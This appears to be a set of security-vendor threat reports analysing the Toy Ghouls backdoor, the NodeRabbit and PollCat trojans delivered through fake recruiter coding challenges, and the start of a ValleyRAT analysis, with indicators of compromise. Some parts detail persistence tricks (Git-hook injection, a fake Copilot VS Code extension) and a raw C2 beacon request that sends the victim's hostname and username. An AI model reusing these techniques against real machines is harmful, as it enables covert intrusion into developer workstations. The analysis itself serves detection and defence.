  • Commands are executed via PowerShell.exe in hidden mode, using the -NonInteractive -NoProfile -Command parameters.
  • Command execution results are sent to the command server at broker.hivemq.com:8883/[cluster_id]/cmd/res in the {"stdout":"str","stderr":"str","exit_code":int,"duration_ms":int} format.

For the second backdoor version, the attackers set up their own Element server running on the Matrix protocol, meet.element[.]tw, as the C2 server. On this server, they created a room used to receive messages containing device information and to send commands for execution on the compromised system. The communication flow is as follows:

  • Once a connection is successfully established, the backdoor sends an m.bird.status message containing the system’s status. This message format is identical to that used in the HiveMQ version.
  • At intervals defined in the configuration file, information about the compromised system is sent as an m.bird.metrics message. Field names are slightly different from those in the first version: {cpu_percent_x100":float,"mem_used_bytes":int,"mem_total_bytes":int,"disk_used_bytes":int,"disk_total_bytes":int,"load_1m_x100":float,"load_5m_x100":float,"load_15m_x100":float,"uptime_secs":int,"hostname":"hostname.domain","timestamp":unix_timestamp}.
  • This version of the backdoor supports two types of commands, distinguished by the start of the received message.
    • To set a new interval for sending metrics, the attackers send a message beginning with config:set_interval (accepting values from 5 to 3600 seconds). The new value is saved to the HKLM\Software\SynapseAgent\metrics_interval registry key.
    • Messages containing commands to execute begin with the string cmd:. Based on data extracted from Element’s SQLite databases on the compromised system, we were able to identify the account name the attackers used to send commands: panel-bot.
  • Received commands are executed via the Windows command line interface.
  • Command output is sent as an m.bird.cmd_response message. This message format mirrors the one used in the HiveMQ version.

Takeaways

We have been tracking Toy Ghouls’ activity for quite some time. We previously found that the group had expanded its arsenal with a custom ransomware strain, GenieLocker, and we have now discovered that it has also developed a backdoor capable of giving it full control over an infected device. The new tools use unconventional channels to communicate with their C2 server: the HiveMQ MQTT broker and the Matrix-based Element messenger. This shift away from publicly available open-source projects toward custom-built tools suggests that Toy Ghouls is working to make its attacks more sophisticated and to evade detection for longer.

Indicators of compromise

Kaspersky security solution verdicts:

  • HEUR:Backdoor.Win64.Suptoml.gen
  • HEUR:Trojan.Script.Zapchast.conf
  • Backdoor.Win64.Agent.smgdvy
  • Trojan.Script.Zapchast.abwm
  • Trojan.Win64.Agent.smgsfo
  • Trojan.Script.Zapchast.abwo

File names and MD5 hashes:

Registry keys:

  • HKLM\Software\synapse\Config\SealedConfig
  • HKLM\Software\SynapseAgent\metrics_interval

Service names:

  • cplsupport (Problem Reports Control Panel)
  • wtas (Windows Telemetry Aggregator Service)

Domain names:

  • meet.element[.]tw
  • broker.hivemq.com (a legitimate resource used by cybercriminals)
  • ip-api.com (a legitimate resource used by cybercriminals)

  •  

Mirage Kitten targeting aviation and FinTech sectors across the Middle East and Africa with a new malware set

While monitoring Mirage Kitten activity, we uncovered a previously undocumented malware family that we dubbed NodeRabbit. We identified the first sample on a system in Afghanistan. Further threat hunting revealed two additional, more advanced, variants: one on a system in Egypt and another on a system in Ethiopia.

NodeRabbit is a cross-platform remote access trojan (RAT) built with Node.js. It targets Windows, Linux, and macOS. Its operators deliver it through spear-phishing messages on LinkedIn and other job search platforms that contain trojanized coding challenge archives.

During the same investigation, we discovered another previously undocumented malware family that we dubbed PollCat. Like NodeRabbit, PollCat is a cross-platform RAT, but it is written in obfuscated JavaScript also distributed through trojanized coding challenge archives.

Mirage Kitten has historically relied on native malware written in languages such as C, C++, and Go, often deploying it through DLL search-order hijacking. NodeRabbit and PollCat represent the first publicly documented use of Node.js- and JavaScript-based malware by this APT group.

Kaspersky’s products detect this threat as Trojan.JS.MirageKitten.*

Background

During recent threat research, we detected suspicious activity on a system in Afghanistan. We traced it to an archive containing a software development project that the user may have received during a job application process. The archive purported to contain a coding challenge for candidates applying for an engineering role.

The archive, Front-Technical-Challenge.zip (MD5: 1EA83E4E4592B01E4ACAB63EB867BEE5), was hosted in an Amazon S3 bucket at: https://oracle-challenge.s3[.]us-east-1.amazonaws[.]com/Front-Technical-Challenge.zip

It contained TaskFlow, an app for software engineering assessment built with Express, React, and Vite. The accompanying README instructed the candidate to review the application and fix defects in its frontend. It also claimed that server.js was bug-free and should not be modified, conveniently directing attention away from the only application source file the attackers had altered.

README file for a trojanized coding challenge app

README file for a trojanized coding challenge app

The README also imposed a three-hour time limit and prohibited the use of AI assistants. Notably, an AI code-review assistant tasked with auditing the project would likely have flagged the suspicious first-line import of an unknown npm package and warned the targeted developer that the project was trojanized.

Rules and time limit included in the trojanized coding challenge app README file

Rules and time limit included in the trojanized coding challenge app README file

The first line of server.js imported a trojanized npm package named colorized_terminal, version 2.1.0. The attackers bundled the package directly in the challenge task archive’s node_modules directory rather than publishing it to the npm registry. When imported, the package silently launched an implant from node_modules/.cache/.320697f1/index.js as a detached background process.

Retrospective threat hunting across our telemetry revealed the broader scope of the campaign. We identified three NodeRabbit variants with a shared code lineage; each was recovered from a system in a different country. The operators delivered the variants through similarly themed coding challenges and used two trojanized packages, colorized_terminal and pretty-log, both pinned to version 2.1.0.

The campaign also delivered PollCat, a second RAT with a substantially different structure, through a separate coding challenge lure. We’ll analyze PollCat later in this research.

Initial access

The infection chain begins with fake recruiter accounts contacting prospective targets on a job search platform. According to a publicly cited source, a threat actor posing as a talent acquisition specialist at a major technology company contacted a software engineer and advertised a job opening, inviting the target to complete a technical assessment.

The target received a link to a coding challenge hosted on Amazon S3 and was pressured to download and run the project immediately. This public post matches the delivery chain we reconstructed from our telemetry: recruiter outreach on a job search platform, a coding challenge presented as a technical assessment, and a trojanized project archive hosted on legitimate cloud infrastructure.

NodeRabbit RAT: the first variant

We discovered the first NodeRabbit variant on a system in Afghanistan. The malware was concealed within the TaskFlow assessment at node_modules/.cache/.320697f1/index.js and executed by the trojanized colorized_terminal package.

Once running, NodeRabbit generates a unique agent identifier from available host information. It calculates the SHA-256 hash of the hostname, username, operating system version, architecture, and MAC address, then truncates the result to its first 32 hexadecimal characters.

NodeRabbit binds a TCP listener to 127.0.0.1:48739. This listener acts as a single-instance mechanism. If the malware cannot bind to the port, it assumes that another instance is already running and terminates silently.

NodeRabbit uses a persistence mechanism for each operating system:

Operating system Persistence mechanism
Windows Copies itself to %APPDATA%\Microsoft\EdgeUpdate\msedge_update.js; clones the local node.exe to nodew.exe in the same folder and patches its PE subsystem from Console to Windows GUI to suppress the console window; creates HKCU\Software\Microsoft\Windows\CurrentVersion\Run\MicrosoftEdgeUpdate registry key executing nodew.exe msedge_update.js
Linux Copies itself to ~/.config/microsoft-edge-update/msedge_update.js and creates an @reboot cron entry that invokes the script using the current Node.js executable.
macOS Copies itself to ~/.config/microsoft-edge-update, creates ~/Library/LaunchAgents/com.microsoft.edgeupdate.plist configuration file pointing at the copy’s location with RunAtLoad and KeepAlive parameters, and attempts to load it.

The malware communicates with its command-and-control servers through three API endpoints, choosing from the following Azure-hosted C2 infrastructure addresses. On failure, it switches to the next C2 address:

1.	https://plugplay.azurewebsites[.]net
2.	https://Rgbteller.azurewebsites[.]net
3.	https://Wslwebui.azurewebsites[.]net

Method Endpoint Purpose
POST /api/rabbit/checkin Register agent and host info
POST /api/rabbit/task Poll for commands
POST /api/rabbit/result Submit results

NodeRabbit serializes each C2 request object as JSON and wraps it with AES-256-GCM. The AES key is the SHA-256 digest of an ASCII seed embedded into the agent. Every request uses a fresh 12-byte IV and a 16-byte authentication tag:

The malware sends encrypted requests using the following structure:

{
  "d": "base64(IV || ciphertext || authentication_tag)",
  "_r": "8 hexadecimal characters",
  "_t": "epoch timestamp"
}

C2 responses are structured the same way and may contain a command to execute. We observed the first NodeRabbit variant supporting 11 commands:

Command Functionality
sys:info Return hostname, domain user information, username, and process ID.
proc:list List running processes.
proc:start Execute an arbitrary shell command.
fs:list List a directory.
fs:read Read a file in chunks and return Base64 data.
fs:write Decode Base64 and write it at a chosen file offset.
fs:delete Delete a file or recursively delete a directory.
fs:mkdir Create directories recursively.
net:config Enumerate adapters, MAC addresses, IP addresses, and DNS settings.
agent:sleep Change the beacon interval.
script:exec Write a base64 Node.js script to a randomly named .tmp file, execute it and delete it.

NodeRabbit RAT: the second variant

Retrospective threat hunting following the discovery in Afghanistan led us to a second infection on a system in Egypt. This sample is a more advanced NodeRabbit variant, launched through the trojanized pretty-log package instead of colorized_terminal.

Before running its core functionality, the malware checks whether the host resembles an analysis environment. It terminates if it detects limited system memory, a low CPU count, short system uptime, analyst-associated usernames or hostnames, or common analysis tools running on the system.

Before terminating, the malware generates benign HEAD requests to www.google.com, www.microsoft.com, and www.cloudflare.com, then exits without ever contacting its C2 infrastructure. Most likely, it attempts to look less suspicious by showing some benign activity before exiting.

Variant 2 implements partial corporate proxy support: it checks HTTP(S) proxy environment variables, Windows Internet Settings, including an explicit PAC URL, and WinHTTP configuration; tunnels its HTTPS C2 through HTTP CONNECT. It first tries to establish an unauthenticated connection. If it fails, it retries using URL-embedded basic credentials. Finally, it delegates Windows NTLM/Negotiate challenges to curl.exe --proxy-anyauth --proxy-user. It caches the proxy-discovery result, including when no proxy is found, for five minutes. If the polling loop detects a network-interface or IP-address change, it clears the cache and runs proxy discovery again on the next checkin.

To make sure a single instance is running, Variant 2 uses a host-specific port derived from the agent identifier instead of the fixed TCP port used by the first variant. It interprets the first four hexadecimal characters of the identifier as an integer and applies the following calculation: 41984 + (value mod 5000).

The resulting listener port falls between 41984 and 46983. Unlike the shared port used by Variant 1, this port varies depending on the infected host.

For persistence, Variant 2 masquerades as Intel Driver & Support Assistant. The exact persistence mechanism, once again, depends on the operating system.

Operating system Persistence mechanism
Windows Copies itself to %LOCALAPPDATA%\Intel\DSA\idriver_support.js. It then copies the local node.exe binary to IntelDSA.exe and changes its PE subsystem from Console to Windows GUI, suppressing the console window. Finally, it creates a scheduled task named IntelDriverSupportUpdate, which runs daily at 10AM and executes IntelDSA.exe with the dropped script.
Linux Copies itself to ~/.config/intel-dsa/idriver_support.js and creates an @reboot cron entry.
macOS Copies itself to ~/Library/Application Support/Intel DSA/idriver_support.js and creates the LaunchAgent com.intel.dsa.helper with RunAtLoad and KeepAlive enabled.

NodeRabbit RAT: the third variant

Further threat hunting identified a third NodeRabbit variant on a system in Ethiopia. Like the second variant, it is launched through the trojanized pretty-log package. It retains much of the previous variant’s functionality but introduces significant changes to its command-and-control configuration, command set, and persistence mechanisms.

The third variant communicates with its C2 infrastructure through a different set of API endpoints:

Method Endpoint Purpose
POST /sdk/v2/ready Register agent and host info
POST /sdk/v2/config Poll for commands
POST /sdk/v2/events Submit results

We observed the malware using a C2 chain composed of Azure- and Cloudflare-hosted domains.

1.	https://visitfinancedentists[.]com
2.	https://kyrasey-f8hfexa5cqamh7fk.westeurope-01.azurewebsites[.]net
3.	https://healthcomfsdpower[.]com

For persistence, Variant 3 implements the following mechanisms depending on the operating system in use:

Operating system Persistence mechanism
Windows Attempts to copy the payload to ProgramData or LocalAppData, create a build-specific daily 10AM task, and start the copied payload. To choose the exact directory, it tries to list C:\Windows\System32\config. If successful, it selects ProgramData with /ru SYSTEM /rl highest; in case of a failure, it selects LocalAppData without explicit /ru or /rl settings.
macOS Copies the payload to ~/Library/Application Support, creates and loads a RunAtLoad/KeepAlive LaunchAgent and starts the copied payload.
Linux Copies the payload to ~/.local/share, attempts to add an @reboot cron entry, and starts the copied payload. If crontab -l fails, persistence is skipped.
WSL Uses the payload copied for persistence on the main Linux system, as described above. Writes launcher.vbs under the Windows user profile, and creates a daily 10AM Windows task that relaunches it through wscript.exe and wsl.exe.

A new command, agent:servers, replaces the active in-memory C2 server list and can write the updated list to .sv.json. The third variant retains the original 11 commands and adds 12 new ones, bringing the total to 23.

New commands Functionality
fs:drives Enumerate accessible Windows drive letters or WSL-mounted drives
proc:exec Execute a process
proc:kill Kill process by PID or image name
agent:servers Replace the active C2 and attempt to keep the new configuration
agent:getchain Return the current C2
outlook:emails Harvest account addresses from Outlook OST and PST artifacts
persist:check Check selected VS Code, scheduled-task, and Run-key persistence indicators
persist:vscode Attempt to install a fake VS Code extension and Windows Run value
persist:vscode:remove Remove the fake extension
persist:projects:scan Search recent and common development locations for Git repositories
persist:project:inject Inject a launcher into a repository’s Git hooks
persist:project:remove Remove the marked Git-hook launcher

Beyond the persistence mechanisms described above, Variant 3 introduces two additional persistence mechanisms that relaunch the malware through common developer workflows.

1. Malicious VS Code extension

The persist:vscode command first copies the payload to its build-specific install path. If a compatible extension directory exists, it creates a fake extension displayed as GitHub Copilot Helper, with the description AI coding assistant helper service and the activation event on StartupFinished.

The extension’s extension.js file attempts to start the installed payload as a detached Node.js process. To look less suspicious to the user, it uses a trusted publisher name borrowed from local extension metadata or a trustedPublishers value found in state.vscdb. However, no signature or trusted status is copied.

Separately, the handler tries to disable Workspace Trust if the VS Code User directory exists. On Windows, it attempts to establish persistence using a current-user Run registry key value even if the extension directory is missing.

2. Git hook injection

Git-hook persistence works in two steps. First, persist:projects:scan checks recent VS Code workspace paths directly. Under common locations such as ~/projects and ~/source, it checks only the first 60 immediate children, not the root itself, and returns no more than 20 repositories.

For a selected repository, persist:project:inject appends a marked launcher to .git/hooks/post-merge and .git/hooks/post-checkout by default. The marker is # shepherd-persist; the line following the marker attempts to start the installed payload with Node in the background. A later Git operation must trigger one of those hooks, and the referenced Node executable and payload must still exist.

PollCat RAT

While tracking NodeRabbit infections, we discovered another malicious tool we dubbed PollCat, which is also distributed under the guise of a programming challenge. The sample we obtained resides inside RankChallenge-react, a React code-fixing challenge presented as a time-limited developer assessment. Running the project invokes npm i && node index.js, which starts the local application and attempts to open the challenge in the user’s browser.

Although the visible exercise is not a security CTF, the project uses CTF terminology in several places. The root package is named ctf-server, the backend prints CTF server running, the frontend uses several ctf-* storage keys, and the tutorial refers to path/to/ctf. These repeated labels, together with instructions that do not fully match the delivered application, are consistent with an AI-assisted or template-generated project. One possible explanation is that the attacker prompted an AI coding assistant to create a CTF-style React platform and later inserted the malicious components.

README instructions and challenge overview included in the trojanized React coding project

README instructions and challenge overview included in the trojanized React coding project

The PDF tutorial contained in the same archive as the project tells the target to click Continue, enter a six-digit OTP code, and complete the challenge within a one-hour session. It states that codes are supplied by the recruiter, are single-use, and expire quickly; the visible login page also claims that codes rotate every 30 seconds. In the delivery scenario described by the investigation, the threat actor posing as a recruiter could provide the code directly to the targeted developer. This gives the operator control over access to the lure, while the expiring code and countdown create a sense of urgency, pressuring the target to run the project and complete the assessment quickly, potentially accelerating the infection process.

One-hour session window enforced by the trojanized coding challenge

The bundled .env file contains the JWT signing secret, OTP service URL, and OTP client ID.

Configuration embedded in .env file of the trojanized coding project, including the OTP service URL and client identifier

The application forwards submitted codes to an attacker-managed domain registered in late June-2026: https://lifespotify[.]com/api/users/b879746e-fed9-4211-a6da-4d8223681267/otp/validate.

That said, PollCat starts independently of the OTP authentication process. During application startup, app.js loads requireAuth.js, which imports and immediately starts the malicious requireObjects.js component. PollCat can therefore begin C2 registration and command polling while the application is still loading, before the user enters an access code.

A failed OTP validation prevents the user from accessing the protected challenge features, but PollCat continues running in the background. A successful OTP validation issues a JWT and creates another worker that starts an additional PollCat instance. The first authenticated request also triggers the persistence attempt.

Persistence starts when the first request carrying a valid JWT reaches the protected middleware. PollCat then uses one of the following methods:

Operation system Persistence mechanism
Windows Writes package.json and requireObject.js to %APPDATA%\Microsoft\Network, runs npm install, and creates a daily task named NetSync_<username> and scheduled for 09AM that runs the worker with Node.js.
Linux Writes the worker to ~/.node_packages, runs npm i, and appends both a daily 09AM cron line and an @reboot line.
macOS Uses the same ~/.node_packages copy and cron path, then creates and loads ~/Library/LaunchAgents/com.harsh.requireobject.plist with RunAtLoad and a daily 09AM trigger.

Once active, PollCat identifies the host as 129--<hostname> and iterates over the following C2s until registration succeeds:

1.	https://sahi-finance[.]com
2.	https://GamebarAppinformation[.]azurewebsites[.]net
3.	https://GamebarApp[.]azurewebsites[.]net

To register, it sends the following HTTP request to the C2:

POST /beacon HTTP/1.1
Host: <c2-host>
Content-Type: application/json

{"clientId":"<client-id>","type":"poll","pcName":"<hostname>","userName":"<username>"}

On successful registration, PollCat expects an unusual HTTP 400 response containing a socket identifier and optional timing values:

HTTP/1.1 400
Content-Type: application/json

{"socketId":"<socket-id>","pollInterval":<poll-interval-ms>,"jitterTime":<jitter-ms>}

After registration, PollCat sends host information to /gate/hello, polls /gate/fetch for commands, and returns results through /gate/submit. All endpoints in use are presented in the table below.

Method Endpoint Purpose
POST /beacon Register the client and obtain a socketId and optional timing values.
POST /gate/hello Submit host, user, domain, OS information, and its current privilege level.
GET /gate/fetch?token=<socketId> Poll for commands.
POST /gate/submit Submit a Base64-encoded command-result structure.
GET /vault/<uuid> Retrieve a hosted file and write it to the victim machine.
PUT /vault/push/ Upload a local file or file chunk to the C2.
POST /gate/track Report chunk-upload progress.

By default, PollCat RAT polls every two minutes with up to five seconds of jitter. Commands and results are stored as little-endian binary records and carried as Base64 text.

PollCat RAT declares 22 commands, but three of them have no implementation:

Command Functionality
0x02 (DIR) List a directory.
0x03 (MV) Move a file or directory.
0x04 (RUN) Execute a shell command.
0x05 (TASKLIST) List running processes.
0x06 (DEL) Delete a file or directory.
0x07 (UPLOAD) Download a file from the C2 to the victim’s machine.
0x08 (DOWNLOAD) Upload a local file to the C2.
0X09 (DRIVES) List drives, volumes, or mount points.
0X0A (TERMINATE) Terminate a process by PID.
0X0B (RUNDLL) Load a DLL and call an exported function on Windows.
0X0C (MKDIR) Create a directory.
0X0D (ZIP) Create or extract a ZIP archive.
0X0E (CHUNKED_DOWNLOAD) Upload a local file in chunks.
0X0F (RUN_HIDDEN) Start a hidden background process.
0X20 (EVAL_JS) Execute JavaScript supplied by the C2.
0X30 (SYSTEM_CHECK) Collect process and software inventory.
0XA1 (WS_DOWNLOAD) Defined but not implemented.
0xB0 (REQUEST_ELEVATION) Defined but not implemented.
0XB1 (PERSIST) Defined but not implemented.
0xF0 (SET_SLEEP_TIME) Change the polling interval.
0XF1 (SET_IDLE_TIME) Store an idle-time value.
0xF2 (SET_JITTER_TIME) Change polling jitter.

The command names UPLOAD, DOWNLOAD, and CHUNKED_DOWNLOAD are written from the C2’s perspective. UPLOAD sends a C2-hosted file to the victim’s machine, while the two download commands transfer victim files back to the C2.

EVAL_JS runs JavaScript supplied by the C2 and gives that code access to Node.js modules, files, processes, networking, and child-process functions.
SYSTEM_CHECK collects the names of running processes and lists files and folders from:

  • %SystemDrive%\Program Files
  • %SystemDrive%\Program Files (x86)
  • %LOCALAPPDATA%
  • %LOCALAPPDATA%\Programs
  • %APPDATA%
  • %USERPROFILE%
  • %APPDATA%\Microsoft\Outlook
  • %LOCALAPPDATA%\Microsoft\Olk\Attachments
  • %USERPROFILE%\Documents

It also searches for folders matching 24 hardcoded strings corresponding to security software vendor names: ‘Google’, ‘Microsoft’, ‘Palo Alto Networks’, ‘Cisco’, ‘VMware’, ‘Fortinet’, ‘Citrix’, ‘CheckPoint’, ‘Juniper Networks’, ‘LogMeIn’, ‘Sophos’, ‘Symantec’, ‘Trend Micro’, ‘McAfee’, ‘Kaspersky Lab’, ‘ESET’, ‘Bitdefender’, ‘Avast Software’, ‘CrowdStrike’, ‘SentinelOne’, ‘Malwarebytes’, ‘BraveSoftware’, ‘Tencent’, and ‘Naver’.

When PollCat finds a matching folder, it lists that folder’s root contents. It does not recursively scan the entire product directory. The detailed inventory, including process names, directory listings, and collected paths, is sent as JSON to POST /api/system-details/result.

Infrastructure

Mirage Kitten continues to rely on Azure Websites and Cloudflare-backed domains to hinder infrastructure discovery and tracking. More importantly, the use of Microsoft Azure subdomains for C2 helps the traffic blend into legitimate organizational network activity. In some cases that we encountered during our research, the actors even incorporated the targeted organization’s name into the Azure subdomain, making C2 communications appear more like normal business traffic originating from an employee machine during regular business days.

Domain Registrar ASN Malware sample
naturalapplication.azurewebsites[.]net
retaildemo.azurewebsites[.]net
tubitak.azurewebsites[.]net
MarkMonitor Inc. AS 8075 NodeRabbit RAT sample 1
rgbteller.azurewebsites[.]net
wslwebui.azurewebsites[.]net
plugplay.azurewebsites[.]net
MarkMonitor Inc. AS 8075 NodeRabbit RAT sample 2
crossdwm.azurewebsites[.]net
wdisystem.azurewebsites[.]net
wslmenus.azurewebsites[.]net
MarkMonitor Inc. AS 8075 NodeRabbit RAT sample 3
dnshnsdev.azurewebsites[.]net
hpjumpsrv.azurewebsites[.]net
storview.azurewebsites[.]net
MarkMonitor Inc. AS 8075 NodeRabbit RAT sample 4
healthcomfsdpower[.]com
visitfinancedentists[.]com
NameCheap, Inc. AS 13335 NodeRabbit RAT sample 5
kyrasey-f8hfexa5cqamh7fk.westeurope-01.azurewebsites[.]net MarkMonitor Inc. AS 8075
greenyjsgfd.azurewebsites[.]net
helptellerbls.azurewebsites[.]net
timedrv.azurewebsites[.]net
userwellgtfs.azurewebsites[.]net
MarkMonitor Inc. AS 8075 NodeRabbit RAT sample 6
hecowime-aqdphyd4bbdef6es.westeurope-01.azurewebsites[.]net
msmanagementgrp[.]com
msmanagementgrpmedia[.]com
MarkMonitor Inc. AS 8075 NodeRabbit RAT sample 7
lifespotify[.]com Dynadot AS 8075 PollCat RAT
gamebarapp.azurewebsites[.]net
gamebarappinformation.azurewebsites[.]net
MarkMonitor Inc.
sahi-finance[.]com NameCheap, Inc.

Based on our analysis of Mirage Kitten’s infrastructure, we identified certain patterns across several command-and-control channels, including msmanagementgrp[.]com and visitfinancedentists[.]com

Further investigation based on these patterns led to the discovery of approximately 11 additional infrastructure assets attributed to the same group.

Domain Creation date Registrar
healthful-hub[.]com 2026-07-03 NameCheap, Inc.
neumedicahealthcare[.]com 2026-07-03 NameCheap, Inc.
optimumhealthcredit[.]com 2026-07-03 NameCheap, Inc.
healthfullyrecipes[.]com 2026-06-30 NameCheap, Inc.
refreshhealthandwellness[.]com 2026-06-09 NameCheap, Inc.
healthvitalitycare[.]com 2026-05-18 NameCheap, Inc.
aceofspadesmanagement[.]com 2026-05-18 NameCheap, Inc.
glmediaagency[.]com 2026-05-18 NameCheap, Inc.
digimediaskill[.]com 2026-05-18 NameCheap, Inc.
healthyweightplan[.]com 2026-05-18 NameCheap, Inc.
mens-health-online[.]com 2026-05-15 NameCheap, Inc.

Victims

Based on our telemetry, we identified victims in fintech, aviation and aerospace sectors across the Middle East and Africa – specifically, in Egypt, Ethiopia and Afghanistan.

We also observed submissions of ZIP archives with trojanized projects containing NodeRabbit and PollCat to an online multi-scanner originating from several countries, including India, Türkiye, Israel, Iraq, Germany, and Ireland.

Attribution

We attribute this activity to Mirage Kitten with a high degree of confidence based on the following observations:

  1. Structural similarities with the Retrograde/MiniFast native DLL backdoor (MD5:810F8E3B88EB05F710C09552941D6F56)
    • Initial C2 handshake and session establishment logic. Both PollCat and Retrograde/MiniFast follow a similar C2 handshake flow. Each builds a JSON request body containing host information and sends it via an HTTP POST request. Notably, both treat HTTP 400 as a successful handshake response rather than an error, parsing the response body to extract a socketId, which is then stored and used as the session token for subsequent C2 communication.

      Similar C2 handshake and socketId session establishment logic in MiniFast/Retrograde and PollCat

      Similar C2 handshake and socketId session establishment logic in MiniFast/Retrograde and PollCat

    • Host registration. Both PollCat and Retrograde/MiniFast register the infected host with the C2 server by sending a structurally similar JSON request body containing the session token and host information.
      Malware Host registration request body C2 endpoint
      PollCat {“token”:”<socketId>”,”pcName”:”<host>”,”userName”:”<user>”,”domainName”:”<domain>”,”os”:”<os>”,”isElevated”:false} /gate/hello
      MiniFast/Retrograde {“token”:”<socketId>”,”pcName”:”<host>”,”userName”:”<user>”,”domainName”:”<USERDOMAIN>”,”isElevated”:<bool>} /agent/init
    • Command fetching similarities. The similarities extend to command retrieval. Both PollCat and Retrograde/MiniFast periodically poll the C2 server using an HTTP GET request containing the previously assigned socketId as a token. Retrograde/MiniFast uses GET /agent/poll?token=<socketId>, while PollCat follows the same pattern with GET /gate/fetch?token=<socketId>, demonstrating a closely aligned C2 communication structure.
    • Beacon timing similarities. PollCat and the Retrograde/MiniFast share identical beacon timing defaults: a polling interval of 120,000 ms (0x1D4C0), a jitter of 5,000 ms (0x1388), and a retry timeout of 60,000 ms (0xEA60). This further highlights the structural similarities between the two C2 communication implementations.
    • Command set similarities. PollCat and Retrograde/MiniFast share several commands and command IDs. Notably, PollCat declares REQUEST_ELEVATION (0xB0) and PERSIST (0xB1) but does not implement them. In MiniFast, both are functional: 0xB0 performs UAC elevation, while 0xB1 creates the WindowsSecurityUpdate scheduled task for persistence.

      Command set similarities between MiniFast/Retrograde and PollCat, including shared command identifiers

      Command set similarities between MiniFast/Retrograde and PollCat, including shared command identifiers

    • Proxy authentication similarities. NodeRabbit delegates corporate-proxy NTLM/Negotiate authentication to curl.exe --proxy-anyauth --proxy-user, using the victim’s logon session. Retrograde/MiniFast native DLL implements the same approach natively through WinHttpQueryAuthSchemes and WinHttpSetCredentials with NULL credentials. This shared proxy-aware C2 design suggests the same development approach across both malware families.
  2. Speaking of victimology, the attacks are consistent with Mirage Kitten’s known geographic targeting, with the group maintaining a strong focus on entities across Africa and the Middle East, this time with a particular focus on the aviation and FinTech sectors.
  3. As for the operational infrastructure, Mirage Kitten has historically hosted its initial ZIP lures on legitimate third-party services. Previously, it used onlyoffice.com for this purpose. In this activity, the group shifted to Amazon S3 buckets.
  4. Finally, the combination of Azure Websites and Cloudflare‑backed domains has been a hallmark of Mirage Kitten’s TTPs, which we have observed across NodeRabbit and PollCat.

Conclusions

Mirage Kitten’s latest activity marks a notable evolution in the group’s tooling: NodeRabbit and PollCat are the group’s first Node.js/JavaScript-based implants, departing from its usual native malware deployed through DLL search-order hijacking. The shift to cross-platform scripting gives the operators a single codebase that runs on Windows, Linux, and macOS, with payloads that blend naturally into developer workstations.

The delivery mechanism, however, remains consistent with Mirage Kitten’s historical tradecraft: the use of recruiter personas on LinkedIn to target critical sectors across the Middle East and Africa for cyberespionage purposes. We continue to track the group’s activity and will report on new developments in future publications.

Indicators of compromise

Additional IoCs are available to customers of our Threat Intelligence Reporting service. For more details, contact us at intelreports@kaspersky.com.

File hashes

CBAAF0900A13F28E380F49ADECEC932C  FrontEnd-Task.zip
1EA83E4E4592B01E4ACAB63EB867BEE5  Front-Technical-Challenge.zip
366515822D5AC1CC500711EF57A2E32E  Task-FullStack.zip
CF449F1992C2819E62AC44A0B06AC2E7  fullstack-1536.zip
E95A4366686E3F786EA3C056FAB5B0DA  webapp76592.zip
DE5AF16A3757EF700B01DC34D67079AE  webapp76531.zip
BE086789568441D0D7E4679AEE51F566  challenges-17831.zip
E259C5EDF158AAC4CFE14F77DDD0B196  challenges-17832.zip
291AC3ABE73C5158E59A437B75D5F0AA  Project-1802.zip
0962F56D7EC69F4F2A0162DCBE22116B  Case-34234.zip
795E053A990A1569FFDCB57F48F6D085  RankChallenge-react-6uJSX3-main.zip

Domains and IPs

oracle-challenge.s3[.]us-east-1.amazonaws[.]com
naturalapplication.azurewebsites[.]net
retaildemo.azurewebsites[.]net
tubitak.azurewebsites[.]net
rgbteller.azurewebsites[.]net
wslwebui.azurewebsites[.]net
plugplay.azurewebsites[.]net
crossdwm.azurewebsites[.]net
wdisystem.azurewebsites[.]net
wslmenus.azurewebsites[.]net
dnshnsdev.azurewebsites[.]net
hpjumpsrv.azurewebsites[.]net
storview.azurewebsites[.]net
healthcomfsdpower[.]com
visitfinancedentists[.]com
kyrasey-f8hfexa5cqamh7fk.westeurope-01.azurewebsites[.]net
greenyjsgfd.azurewebsites[.]net
helptellerbls.azurewebsites[.]net
timedrv.azurewebsites[.]net
userwellgtfs.azurewebsites[.]net
hecowime-aqdphyd4bbdef6es.westeurope-01.azurewebsites[.]net
msmanagementgrp[.]com
msmanagementgrpmedia[.]com
lifespotify[.]com
gamebarapp.azurewebsites[.]net
gamebarappinformation.azurewebsites[.]net
sahi-finance[.]com
healthful-hub[.]com
neumedicahealthcare[.]com
optimumhealthcredit[.]com
healthfullyrecipes[.]com
Refreshhealthandwellness[.]com
healthvitalitycare[.]com
aceofspadesmanagement[.]com
glmediaagency[.]com
digimediaskill[.]com
healthyweightplan[.]com
mens-health-online[.]com

  •  

ValleyRAT masquerading as adware

Attackers typically try to pass off malware as legitimate applications or as potentially unwanted programs that users deliberately search for and download, such as cheats or cracks. They often rely on ad and affiliate networks to deliver their creations to victims’ devices. This post examines a less conventional case: a well-known backdoor distributed under the guise of adware. The attackers may have chosen this distribution method because the adware was signed by the developer. On top of that, users often manually add these apps to exclusions, so their useful features don’t get blocked.

Some time ago, a client asked us to analyze a file with the MD5 hash c24e99f9437feacaa63766a3cde3fe3d and add it to our detection database. We initially classified it as adware, but a cursory analysis turned up suspicious network activity, which prompted us to dig deeper. It turned out the sample did far more than serve ads. In fact, its advertising functionality doesn’t even work; instead, it triggers an infection chain that delivers the ValleyRAT backdoor.

Malicious installer

The file the client shared with us turned out to be an installer that performed different actions depending on the two-letter suffix used in the file name, positioned just before the numeric string.

Installer name What it does
FS_SETUP_DD_173.exe Installs DingTalk, a workplace collaboration platform
FS_SETUP_GG_173.exe Installs Google Chrome
FS_SETUP_HY_173.exe Opens hxxps://meeting[.]tencent[.]com/download/

These actions are most likely designed to divert the user’s attention away from the sample’s malicious functionality. Regardless of the file name, the installer deploys a modified Chinese desktop wallpaper management tool called QN Wallpaper (hxxps://qnwallpaper[.]keansoft[.]cn/) and adds it to the registry’s autorun entries.

The original version of QN Wallpaper is genuine adware: on installation, it delivers bundled partner apps to the device and then displays ad banners to the user. In this case, however, the attackers use it to carry out DLL sideloading, a technique that allows malicious code to run under the guise of a signed process by way of a malicious DLL.

The QN Wallpaper modules, along with the malicious components, are unpacked to C:\Program Files\QNWallpaper\5.4.0.1662\<random string of letters and digits>. The following files are saved in that directory:

File name MD5 Purpose
1.zip 7ad1e3ef4e6d9d636c9e7e967733850e Archive containing the adware files QnWallpeper.exe and QnwPlayer.exe, along with the modules needed to run them
7z.dll 96b4c1d0683dce22bd3223e1e40689c1 7z archiver library
7z.exe 9b86d3ab6cef15c633933fbbeab39c0a Archiver
